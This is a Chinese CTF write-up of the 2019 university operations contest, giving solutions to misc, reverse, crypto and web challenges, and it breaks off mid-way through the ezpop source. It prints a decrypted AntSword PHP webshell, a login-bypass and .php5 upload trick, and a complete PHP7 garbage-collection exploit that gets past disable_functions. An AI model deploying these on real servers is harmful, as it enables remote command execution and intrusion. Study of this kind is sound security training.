2019高校運維賽writeup

2020-12-11 湖南蟻景

MISC

0x01 misc1

f = open('724c6e962216407fa5fa1ad7efda2653_misc1_flag.txt','rb')

b = f.read()

a = []

max = int(0)

min = int(999)

for i in b:

t = i

if t >= max:

max = i

if t <= min:

min = i

a.append(hex(i))

print(hex(max))

print(hex(min))

導出數據觀察可以發現最小值為0x2,最大值為0xF9,根據判斷可見字符在這個範圍內的應該為EBCDIC編碼,且是CP1146(IBM EBCDIC英國編碼) 可以編寫解碼腳本

import codecs

import ebcdic

def decode():

with codecs.open("724c6e962216407fa5fa1ad7efda2653_misc1_flag.txt", 'rb') as input_file:

print(input_file.read().decode('cp1146'))

decode()

BuCCx:@BBBvC·BBBlB$EBCDIC: /ebs@·dik/, /ebsee`dik/, /ebk@·dik/, n. [abbreviation, Extended Binary Coded Decimal Interchange Code] An alleged character set used on IBM dinosaurs. It exists in at least six mutually incompatible versions, all featuring such delights as non-contiguous letter sequences and the absence of several ASCII punctuation characters fairly important for modern computer languages (exactly which characters are absent varies according to which version of EBCDIC you're looking at). IBM adapted EBCDIC from punched card code in the early 1960s and promulgated it as a customer-control tactic (see connector conspiracy), spurning the already established ASCII standard. Today, IBM claims to be an open-systems company, but IBM's own description of the EBCDIC variants and how to convert between them is still internally classified top-secret, burn-before-reading. Hackers blanch at the very name of EBCDIC and consider it a manifestation of purest evil.flag is flag{0a07c11e46af753fd24d40023f0fdce1}

最簡單的方法是使用WPS Word打開文件,文件 -> 文件 -> 重新載入 -> IBM EBCDIC英國編碼

0x02 misc2

#!/usr/bin/env python

# -*- coding: utf-8 -*-

import os

from flask import request

from flask import Flask

secret = open('/flag', 'rb')

os.remove('/flag')

app = Flask(__name__)

app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'

@app.route('/')

def index():

return open(__file__).read()

@app.route("/r", methods=['POST'])

def r():

data = request.form["data"]

if os.path.exists(data):

return open(data).read()

return ''

if __name__ == '__main__':

app.run(host='0.0.0.0', port=8000, debug=False)

存在任意文件讀取,flag文件open後被刪除,可以讀取文件描述符拿到flag

data=/proc/self/fd/3

0x03 misc3

使用010editor等十六進位編輯器打開html文件,可看見存在一段由序列E2 80 8C和序列E2 80 8B組成的隱藏字符,把E2 80 8C視為0,E2 80 8B視為1進行轉換可得flag 在Chrome瀏覽器的開發者工具中打開也可以發現

0827h: E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2

0837h: 80 8B E2 80 8B E2 80 8C E2 80 8C E2 80 8B E2 80

0847h: 8B E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C

0857h: E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2

0867h: 80 8C E2 80 8C E2 80 8B E2 80 8C E2 80 8B E2 80

0877h: 8B E2 80 8C E2 80 8C E2 80 8B E2 80 8B E2 80 8B

0887h: E2 80 8C E2 80 8B E2 80 8B E2 80 8B E2 80 8B E2

0897h: 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8B E2 80

...

0000h: 01100110 01101100 01100001 01100111 01111011 01100101 00110010 01100001 flag{e2a

0008h: 00111001 01100011 00111000 01100010 00110001 00110001 00110111 00110101 9c8b1175

0010h: 01100101 00110110 00110110 01100011 01100110 00110010 00110001 01100110 e66cf21f

0018h: 00111000 00110101 00111001 00110011 01100010 01100011 00111000 00110101 8593bc85

0020h: 01100010 01100110 00111001 00110011 00111001 01111101 bf939}

0x03 webshell

分析流量可知,在伺服器上執行的shell解密後大致如下

<?php

@ini_set("display_errors", "0");

@set_time_limit(0);

function asenc($out)

{

@session_start();

$key = 'f5045b05abe6ec9b1e37fafa851f5de9';

return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));

}

;;

function asoutput()

{

$output = ob_get_contents();

ob_end_clean();

echo "8c2b4";

echo @asenc($output);

echo "e2e10";

}

ob_start();

try {

$p = base64_decode($_POST["0x1b4d456c7297d"]);

$s = base64_decode($_POST["0xb9b45688a5a08"]);

$d = dirname($_SERVER["SCRIPT_FILENAME"]);

$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";

$r = "{$p} {$c}";

function fe($f)

{

$d = explode(",", @ini_get("disable_functions"));

if (empty($d)) {

$d = array();

} else {

$d = array_map('trim', array_map('strtolower', $d));

}

return (function_exists($f) && is_callable($f) && !in_array($f, $d));

}

;

function runcmd($c)

{

$ret = 0;

if (fe('system')) {

@system($c, $ret);

} elseif (fe('passthru')) {

@passthru($c, $ret);

} elseif (fe('shell_exec')) {

print(@shell_exec($c));

} elseif (fe('exec')) {

@exec($c, $o, $ret);

print(join("

", $o));

} elseif (fe('popen')) {

$fp = @popen($c, 'r');

while (!@feof($fp)) {

print(@fgets($fp, 2048));

}

@pclose($fp);

} elseif (fe('antsystem')) {

@antsystem($c);

} else {

$ret = 127;

}

return $ret;

}

;

$ret = @runcmd($r . " 2>&1");

print ($ret != 0) ? "ret={$ret}" : "";;

} catch (Exception $e) {

echo "ERROR://" . $e->getMessage();

};

asoutput();

die();

?>

//ed3edq113

在第七個HTTP流中,讀取了flag

In [4]: base64.b64decode('Y2QgIi92YXIvd3d3L2h0bWwvdG1wIjtjYXQgZmxhZ3xiYXNlNjQgO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ==') Out[4]: b'cd "/var/www/html/tmp";cat flag|base64 ;echo [S];pwd;echo [E]'

flag經過了一層base64加密,在asoutput方法中增加了前後綴,然後在套一下base64,順便AES加密 響應的內容如下:

kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5

解密腳本

<?php $r=file_get_contents("enc"); $key = 'f5045b05abe6ec9b1e37fafa851f5de9'; echo openssl_decrypt(base64_decode($r), 'AES-128-ECB', $key, OPENSSL_RAW_DATA); ?>

拿到flag:flag{AntSword_is_Powerful_3222222!!!!}

re

re1

init_array和fini_array都有一個函數,在init_array裡的函數裡加了反調,直接patch即可,然後還把key修改了

for ( j = 0; j <= 15; ++j ) { result = aThisIsNotKey; aThisIsNotKey[j] ^= 7u; }

然後fini_array才是最後的比較函數

for ( i = 0; i <= 15; ++i ) { result = (unsigned __int8)byte_202040[i + 0x10]; if ( byte_2020E0[i] != (_BYTE)result ) v2 = 0; }

加密函數是RC4算法,解題腳本為:

import base64 from Crypto.Cipher import ARC4 key = "sontXntXihsXlb~&" data = "A"*0x10 rc41 = ARC4.new(key) # part1 = rc41.decrypt('78695a5c2515935f6d150711ee01b3ab'.decode('hex')) part2 = rc41.decrypt('7f305e5f1619bf7471131025d75fe1ff'.decode('hex')) print part2

re2

32元一次方程組,把數據扣出來在到在線網站上解密(

# import re

# a = ''' 17153 * a1[27]

# + 41549 * a1[26]

# + 28202 * a1[24]

# + 36806 * a1[23]

# + 12690 * a1[22]

# + 42821 * a1[20]

# + 39834 * a1[19]

# + 17994 * a1[17]

# + 32765 * a1[14]

# + 25687 * a1[10]

# + 33388 * a1[9]

# + 143 * a1[4]

# + 63776 * a1[0]

# + 8682 * a1[1]

# - 16324 * a1[2]

# - 20022 * a1[3]

# - 48973 * a1[5]

# - 57775 * a1[6]

# - 43820 * a1[7]

# - 41070 * a1[8]

# - 15669 * a1[11]

# - 6946 * a1[12]

# - 23187 * a1[13]

# - 46495 * a1[15]

# - 8395 * a1[16]

# - 27782 * a1[18]

# - 46043 * a1[21]

# - 15428 * a1[25]

# - 59010 * a1[28]

# - 49235 * a1[29]

# - 53666 * a1[30]

# + 28539 * a1[31] == -15479857 '''

# a = a.replace("a1","").split("\n")

# matrix = [0 for i in range(32)]

# for i in range(32):

# f = re.search("([+-]?) ([0-9]*)",a[i]).groups()[0]

# value = int(re.search("([+-]?) ([0-9]*)",a[i]).groups()[1])

# if f != '':

# if f == '-':

# value = -1*value

# else:

# pass

# idx = int(a[i][a[i].find('[')+1:a[i].find(']')])

# matrix[idx] = value

# m = ''

# for i in matrix:

# m += str(i)+','

# m = m.strip(',')

# print m

# http://www.yunsuan.info/matrixcomputations/solvelinearsystems.html

# 44493,-326,-57451,-18424,22432,45266,20069,47551,-3751,39591,35081,45204,-6984,-9410,-54261,2139,48734,-62111,44970,29470,-20305,-33120,39390,1513,58180,-11160,-24198,37157,50244,-1646,37027,-13318

# -54741,-3606,48560,-45416,22008,11900,-24275,-64371,32499,46114,-25714,21730,-56673,9624,28702,-39430,9187,-35779,26720,-15144,51548,11260,48594,-45050,-59016,50109,-29262,-55650,-29492,-13828,12535,40522

# 17703,-16114,-24359,54532,15266,5819,-33999,19362,-58904,63538,64858,2665,-11844,-29623,20144,43681,32755,-42532,-60912,20331,3541,53780,29817,-4711,-56853,57822,31675,52683,57988,-33486,12097,24590

# 24247,64898,-24733,3430,41149,17219,-16545,42702,-1315,24960,27013,28,2783,-15867,-12126,28232,-3823,37522,48151,-20727,-12037,-9347,-39338,-50524,-38675,-26114,-4975,59561,32393,36741,51792,-24297

# -32261,-54551,15294,-61664,-40648,-12277,-55300,-63212,41251,-45548,-22362,-32993,64221,-43046,-40770,5380,57738,62825,52035,3079,-7119,26782,-36194,-56102,-19468,54655,35562,-59856,25143,13289,64702,23822

# -9407,64048,60965,33702,-12654,-56126,-47366,47843,30627,-29056,32583,-50822,-6240,43847,47577,-12371,8314,22558,9886,43924,-23282,-13137,-13716,6461,63681,-43391,-37217,-43714,-55909,-62806,5977,36688

# -23136,47281,20301,-61441,2565,57144,44459,-31365,16024,54218,-56894,-52977,-39404,-63477,63390,-22773,46343,-50258,40389,-25970,23917,-56685,47030,5856,-55893,36904,44955,58093,13407,49426,26401,-25199

# 62577,23069,18654,4696,22400,-16178,42663,-34941,-50803,-28229,15341,3911,-45565,50053,-45774,18373,7881,-28140,1742,-29986,58351,14952,-40067,15201,11269,53436,41681,22198,-63863,-50393,-14615,16722

# -39728,57392,910,37963,-2274,-61995,-43938,-12412,-10642,-10303,31888,7362,-16356,-615,40135,-11314,-17185,54431,-61134,-4620,-4591,29560,35119,-51958,40581,34037,-65066,5750,-6232,-60002,17326,30503

# -16296,-8786,48180,-65236,-48383,-32713,61315,-58771,-47593,-14512,6483,56260,25366,58190,-60203,27537,50686,-7295,-3885,61335,-39212,-40687,-19258,-57463,32582,2313,-24504,-11629,-8917,31106,-4535,38212

# -31610,52623,-35005,25689,-9320,63683,39253,51102,-16508,11413,3265,35320,18706,6847,-55110,528,35247,-63180,30153,-13666,39538,-49046,33264,51928,13203,17103,59096,48721,33683,-42949,-60950,26096

# 47557,52902,-12806,-59773,-9182,-57417,-18447,6146,15859,59808,30791,-54963,45466,-61599,49637,21116,15786,3656,-18454,28722,46709,21307,50390,5176,-30277,-25544,-17882,-25149,61328,-17363,49588,21848

# 37688,23309,-2616,59129,5104,-12561,-3215,60503,29438,42505,-49703,38339,12457,45365,-15471,33925,-23447,-50859,-86,54770,36604,-3773,-9573,-25835,42417,4680,-20107,58284,-45915,-56171,18191,29164

# 20452,18062,-56424,56918,-10457,50206,-12288,-54591,-44777,24700,12962,38458,-52078,19385,18867,-9805,-48011,-27363,-20890,13714,-788,50998,29867,-7954,-34056,16127,5149,49705,-34732,-54092,64657,35416

# -39611,25246,1951,-37145,-3824,21330,-49145,-43603,8191,-60671,-53032,-48392,-15417,40645,-13059,-58653,42329,-51631,-50173,18903,52431,-44904,37330,40656,-34380,24333,41644,-18100,-57765,-64534,44968,-26760

# -39824,44401,45166,53538,-2540,43929,-54452,-11199,-19801,23926,-13592,47959,19579,-29922,30392,15405,61374,17545,39526,7046,-34144,57593,-5305,-46917,44211,-4511,-23881,29438,-39081,34688,28579,3296

# 62215,19566,15203,-30340,-15964,59815,-13939,60087,-43008,-44925,-49239,-40498,-54453,-33557,6928,24510,36587,-24721,7959,49381,-21456,-40311,8487,-61111,-18918,-33393,-9301,41415,-61619,64380,40454,58498

# 35423,-12994,33894,40977,57560,63291,-32256,-23534,40291,5725,-40660,43131,-19119,21483,39085,62097,-33732,-63756,35027,3633,30380,36333,-13528,53612,6578,-47605,10809,-43202,14305,2766,-42819,-34232

# 44942,63420,58838,55103,27162,53130,27559,26302,-24313,-42499,-21629,34155,-2633,-55014,-22926,19761,-305,-63708,13647,31419,62674,-32334,-47684,-54226,-50848,10136,26215,44427,27903,48054,-15102,-22362

# 6300,-30549,9153,26426,46559,-55683,62261,-44433,6137,-46194,-57198,33875,-45266,51231,65438,45781,-6605,-43397,-7672,-48485,-54035,-12567,-47051,-62256,13058,55552,4221,61587,23936,-9828,59525,50225

# -28415,36297,5686,59059,14796,-11307,-57251,-29507,-41415,12090,62270,8353,-24476,-41751,-46589,63967,55058,10481,30422,47722,-55870,-6321,53136,12704,42884,-34350,-32922,-64909,-50870,13236,39286,49349

# 15479,10453,58731,-9782,63976,-9166,5707,-21516,-2689,29174,23244,-47968,-38843,-13488,61646,3991,57764,-57649,63445,-487,6252,52361,16634,42491,-30704,54808,-61218,18612,-32873,-58677,-2280,35233

# 36368,-30534,50614,-7805,9520,-60795,-17511,-34692,-22139,-49013,-24672,41197,35504,28641,11252,-22264,56629,23301,-55578,-61882,-48469,28509,-8197,-43020,15688,29396,-36911,38392,58430,-6762,38132,56670

# 3542,-17533,28247,1791,-44455,-2748,21876,-38052,8511,61205,-16528,-4664,-13326,16494,-52661,-38860,58300,-60164,-39975,-19566,55072,-55251,-8160,-54674,58305,-29010,-6627,35318,-15962,19958,-10549,-8177

# -7510,-61303,25124,35004,-34033,-49161,-6021,-36125,37617,-10528,-47741,-45531,-1546,2052,-59464,29853,-22656,31346,26883,38644,26034,-24655,-9816,8621,-22299,-23745,37204,47703,13827,15394,-23945,48741

# 19310,1288,-38840,-49229,-40618,39102,34746,-41363,-45367,41169,-21440,-36535,33349,-43289,47866,5395,56668,-41392,30949,53570,-40337,16432,-1430,-28334,35917,-46487,61644,8511,-42458,27496,-59664,64335

# -18187,28981,-53485,17974,41797,-20458,-8491,-16831,33384,53494,-31995,51835,-12109,30996,42087,60427,12986,-51691,-58925,-40872,33269,3954,56824,-30202,59304,-30793,26203,13806,-42110,41403,-1100,-26194

# -40011,-26232,-4849,-60564,20386,44081,-50739,40590,-17237,19883,-35381,28950,-4203,19225,-50964,-39946,28859,12186,38175,-22511,-20539,15071,48156,34737,42732,-60250,-61430,-11009,47559,53536,-8879,46741

# -42653,43668,-10988,3756,34932,61953,22126,29632,59350,-48711,-23958,-33557,50367,41961,-17831,-4583,41615,27387,34328,-29750,9871,-49888,41239,18672,20039,56136,-30956,7689,45907,5442,-41068,23514

# -26968,-23313,38342,5179,10458,3678,-32333,-43275,-2423,-60827,-42621,15986,-27590,59508,53583,19553,-56307,869,6738,63177,-30359,50228,21760,-19919,24036,-18153,41909,-6931,-5822,-30949,-16572,11920

# 8386,57646,35980,-4029,8314,18877,4313,29760,-47059,46356,52295,35013,57567,-25490,64744,1703,55168,-62526,37870,-63227,-27315,31098,6747,63177,55323,-23370,-37329,54696,-6309,43819,-12433,8882

# 63776,8682,-16324,-20022,143,-48973,-57775,-43820,-41070,33388,25687,-15669,-6946,-23187,32765,-46495,-8395,17994,-27782,39834,42821,-46043,12690,36806,28202,-15428,41549,17153,-59010,-49235,-53666,28539

# 34771791

# -9451883

# 29782736

# 27959979

# -10644544

# 230179

# 15871572

# 12844672

# -7906855

# -5359162

# 34815239

# 23582278

# 30273764

# 7501764

# -35816639

# 30983928

# -4472687

# 18523534

# 20982750

# 5070455

# 3066924

# 26232118

# -860377

# -14482154

# -17062269

# 6695285

# 16909859

# -1622782

# 33025495

# -10454601

# 51177223

# -15479857

res = [99,115,50,56,82,116,116,104,72,113,115,98,117,102,111,106,115,76,122,55,121,103,50,68,89,113,87,81,69,69,99,89]

flag = ''.join([chr(i) for i in res])

print flag

crypto

rsa1

from flag import FLAG

from Crypto.Util.number import *

import gmpy2

import random

while True:

p = int(gmpy2.next_prime(random.randint(10**399, 10**400-1)))

q = int(str(p)[200:]+str(p)[:200])

if gmpy2.is_prime(q):

break

m = bytes_to_long(FLAG)

n = p*q

e = 65537

c = pow(m,e,n)

with open("enc","wb") as f:

f.write(str(c))

f.write("\n")

f.write(str(n))

p和q都是400位的數,p和q前後200相反

可以設p=a*pow(10,200)+b q=b*pow(10,200)+a

所以n=a*b*pow(10,400)+a*a*pow(10,200)+b*b*pow(10,200)+a*b

可以將n的前200位和後200位憑藉得到a*b

再用n減去a*b部分得到a*a + b*b

求出a,b後再求出p,q

from Crypto.Util.number import *

import gmpy2

import random

from gmpy2 import *

n=21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800210661276075473243912578032636845746866907991400822100939309254988798139819074875464612813385347487571449985243023886473371811269444618192595245380064162413031254981146354667983890607067651694310528489568882179752700069248266341927980053359911075295668342299406306747805925686573419756406095039162847475158920069325898899318222396609393685237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715643442608910351994872740343566582808831066736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301

e = 65537

nnn1=int(str(n)[:200])-1

nnn2=int(str(n)[600:])

ab=int(str(nnn1)+str(nnn2))

ab=2117306430457495084373744640919209184441085835440785339151821982858580957554648046398035452941253078562547380021066127607547324391257803263684574686690799140082210093930925498879813981907487546461281266736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301

a2b2=n-(pow(10,400)+1)*ab #a**2+b**2

# print a2b2

t=a2b2/pow(10,200)

# print t

t1=t+2*ab #(a+b)**2

print "(a+b)**2:",t1 #(a+b)**2

t2=t1-4*ab #(a-b)**2

print "(a-b)**2:",t2 #(a-b)**2

tt1=iroot(t1,2)[0]

print "(a+b):",tt1 #(a+b)

tt2=iroot(t2,2)[0]

print "(a-b):",tt2 #(a-b)

b=(tt1-tt2)/2

a=tt1-b

print "b:",b

print "a:",a

print iroot(t1,2)

print iroot(t2,2)

p = a*pow(10,200)+b

q = b*pow(10,200)+a

print p*q==n

print "p",p

print "q",q

phin = (p - 1) * (q - 1)

d = gmpy2.invert(e, phin)

print "d",d

c=16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435904022750269541456641256887079780585729054681025921699044139927086676479128232499416835051090240458236280851063589059069181638802191717911599940897797235038838827322737207584188123709413077535201099325099110746196702421778588988049442604655243604852727791349351291721230577933794627015369213339150586418524473465234375420448340981330049205933291705601563283196409846408465061438001010141891397738066420524119638524908958331406698679544896351376594583883601612086738834989175070317781690217164773657939589691476539613343289431727103692899002758373929815089904574190511978680084831183328681104467553713888762965976896013404518316128288520016934828176674482545660323358594211794461624622116836

flag = gmpy2.powmod(c, d, n)

print hex(flag)[2:].decode('hex')

##AES

題目

#!/usr/bin/env python3

# coding=utf-8

import os

import signal

from Crypto.Cipher import AES

from Crypto.Util import Counter

def enc(msg, key):

ctr = Counter.new(128, initial_value=sum(msg))

cipher = AES.new(key, AES.MODE_CTR, counter=ctr)

return cipher.encrypt(msg)

if __name__ == '__main__':

signal.alarm(60)

key = os.urandom(16)

with open('/home/ctf/flag', 'rb') as f:

flag = f.read()

assert len(flag) == 30

enc_flag = enc(flag, key)

print("Welcome to the our AES encryption system!")

print(f"Here is your encrypted flag: {enc_flag}")

for i in range(30):

try:

plaintext = input("Please input your plaintext: ")

plaintext = bytes.fromhex(plaintext)

ciphertext = enc(plaintext, key)

print(f"Here is your ciphertext: {ciphertext}")

except Exception:

print('Error!')

break

print('Bye~')

Aes的counter模式(CTR)

其中initial_value=sum(msg) ,當我們輸入的plaintext滿足sum(plaintext)==sum(flag)時,flag ^ encflag == input ^ enc_input,從而求得flag=encflag ^ input ^ enc_input

flag長度30位 0x20*30從爆破到0x7f*30

from pwn import *

import sys

from Crypto.Util.number import *

def check(str1):

if "flag" in str1:

return True

else:

return False

# for x in range(0x20,0x7f):

for x in range(92,93):

print(x*30)

p = remote("111.186.57.123",10001)

p.recvuntil("flag: b")

enc_flag = p.recvuntil("\n",drop=True)

exec("enc_flag = "+enc_flag)

for i in range(30):

p.recvuntil("plaintext: ")

plaintext=chr(x)*29+chr(x+i)

p.sendline(plaintext.encode('hex'))

p.recvuntil("ciphertext: b")

ciphertext = p.recvuntil("\n",drop=True)

exec("ciphertext = "+ciphertext)

res = long_to_bytes(bytes_to_long(ciphertext)^bytes_to_long(plaintext)^bytes_to_long(enc_flag))

if check(res):

print res

最終sum(flag)在2760到2790之間

flag為flag{Don't_Reu5e_n0nCe_1n_CTR}

web

ezupload

<!---/.login.php.swp-->

拿到源碼

<?php

#error_reporting(0);

session_start();

include "config.php";

$username = $_POST['username'];

$password = $_POST['password'];

if (isset($username)){

$sql = "select password from user where name=?";

if ($stmt = $mysqli->prepare($sql)) {

$stmt->bind_param("s", $username);

$stmt->execute();

$stmt->bind_result($dpasswd);

$stmt->fetch();

if ($dpasswd === $password){

$_SESSION['login'] = 1;

header("Location: /upload.php");

}else{

die("login failed");

}

$stmt->close();

}

}else{

header("Location: /index.php");

}

$mysqli->close();

mysql沒有查到記錄時,$dpasswd===NULL

此時令$password===NULL即$_POST['password']===NULL,則成功登陸

登陸後進入上傳界面,測試發現,後端校驗文件頭和content-type 過濾php後綴名,上傳.php5文件,成功拿到shell

拿到flag:flag{logical_bypass_not_weak_password}

expass(bypassDF)

開局一個後門

<?php

if(isset($_GET['src']))

{

highlight_file(__FILE__);

}

eval($_GET['cmd']);

php垃圾回收https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

改一下執行的命令

POST /?cmd=eval($_POST['a']); HTTP/1.1

Host: 111.186.57.43:10101

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 5781

Content-Type: multipart/form-data; boundary=--------1608040292

----------1608040292

Content-Disposition: form-data; name="a"

@pwn('/readflag');

function pwn($cmd) {

global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {

$address = 0;

for($j = $s-1; $j >= 0; $j--) {

$address <<= 8;

$address |= ord($str[$p+$j]);

}

return $address;

}

function ptr2str($ptr, $m = 8) {

$out = "";

for ($i=0; $i < $m; $i++) {

$out .= chr($ptr & 0xff);

$ptr >>= 8;

}

return $out;

}

function write(&$str, $p, $v, $n = 8) {

$i = 0;

for($i = 0; $i < $n; $i++) {

$str[$p + $i] = chr($v & 0xff);

$v >>= 8;

}

}

function leak($addr, $p = 0, $s = 8) {

global $abc, $helper;

write($abc, 0x68, $addr + $p - 0x10);

$leak = strlen($helper->a);

if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;

}

function parse_elf($base) {

$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);

$e_phentsize = leak($base, 0x36, 2);

$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {

$header = $base + $e_phoff + $i * $e_phentsize;

$p_type = leak($header, 0, 4);

$p_flags = leak($header, 4, 4);

$p_vaddr = leak($header, 0x10);

$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write

# handle pie

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;

$data_size = $p_memsz;

} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec

$text_size = $p_memsz;

}

}

if(!$data_addr || !$text_size || !$data_size)

return false;

return [$data_addr, $text_size, $data_size];

}

function get_basic_funcs($base, $elf) {

list($data_addr, $text_size, $data_size) = $elf;

for($i = 0; $i < $data_size / 8; $i++) {

$leak = leak($data_addr, $i * 8);

if($leak - $base > 0 && $leak - $base < $text_size) {

$deref = leak($leak);

# 'constant' constant check

if($deref != 0x746e6174736e6f63)

continue;

} else continue;

$leak = leak($data_addr, ($i + 4) * 8);

if($leak - $base > 0 && $leak - $base < $text_size) {

$deref = leak($leak);

# 'bin2hex' constant check

if($deref != 0x786568326e6962)

continue;

} else continue;

return $data_addr + $i * 8;

}

}

function get_binary_base($binary_leak) {

$base = 0;

$start = $binary_leak & 0xfffffffffffff000;

for($i = 0; $i < 0x1000; $i++) {

$addr = $start - 0x1000 * $i;

$leak = leak($addr, 0, 7);

if($leak == 0x10102464c457f) { # ELF header

return $addr;

}

}

}

function get_system($basic_funcs) {

$addr = $basic_funcs;

do {

$f_entry = leak($addr);

$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system

return leak($addr + 8);

}

$addr += 0x20;

} while($f_entry != 0);

return false;

}

class ryat {

var $ryat;

var $chtg;

function __destruct()

{

$this->chtg = $this->ryat;

$this->ryat = 1;

}

}

class Helper {

public $a, $b, $c, $d;

}

if(stristr(PHP_OS, 'WIN')) {

die('This PoC is for *nix systems only.');

}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];

for($i = 0; $i < $n_alloc; $i++)

$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';

$out = unserialize($poc);

gc_collect_cycles();

$v = [];

$v[0] = ptr2str(0, 79);

unset($v);

$abc = $out[2][0];

$helper = new Helper;

$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {

die("UAF failed");

}

# leaks

$closure_handlers = str2ptr($abc, 0);

$php_heap = str2ptr($abc, 0x58);

$abc_addr = $php_heap - 0xc8;

# fake value

write($abc, 0x60, 2);

write($abc, 0x70, 6);

# fake reference

write($abc, 0x10, $abc_addr + 0x60);

write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);

if(!($base = get_binary_base($binary_leak))) {

die("Couldn't determine binary base address");

}

if(!($elf = parse_elf($base))) {

die("Couldn't parse ELF header");

}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {

die("Couldn't get basic_functions address");

}

if(!($zif_system = get_system($basic_funcs))) {

die("Couldn't get zif_system address");

}

# fake closure object

$fake_obj_offset = 0xd0;

for($i = 0; $i < 0x110; $i += 8) {

write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));

}

# pwn

write($abc, 0x20, $abc_addr + $fake_obj_offset);

write($abc, 0xd0 + 0x38, 1, 4); # internal func type

write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();

}

----------1608040292

ezpop

<?php

error_reporting(0);

class A{

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null)

{

$this->key = $key;

$this->store = $store;

$this->expire = $expire;

}

public function cleanContents(array $contents)

{

$cachedProperties = array_flip([

'path', 'dirname', 'basename', 'extension', 'filename',

'size', 'mimetype', 'visibility', 'timestamp', 'type',

]);

foreach ($contents as $path => $object) {

if (is_array($object)) {

$contents[$path] = array_intersect_key($object, $cachedProperties);

}

}

return $contents;

}

public function getForStorage()

{

$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);

}

public function save()

{

$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);

}

public function __destruct()

{

if (! $this->autosave) {

$this->save();

}

}

}

class B{

protected function getExpireTime($expire): int

{

return (int) $expire;

}

public function getCacheKey(string $name): string

{

return $this->options['prefix'] . $name;

}

protected function serialize($data): string

{

if (is_numeric($data)) {

return (string) $data;

}

$serialize = $this->options['serialize'];

return $serialize($data);

}

public function set($name, $value, $expire = null): bool

{

$this->writeTimes++;

if (is_null($expire)) {

$expire = $this->options['expire'];

}

$expire = $this->getExpireTime($expire);

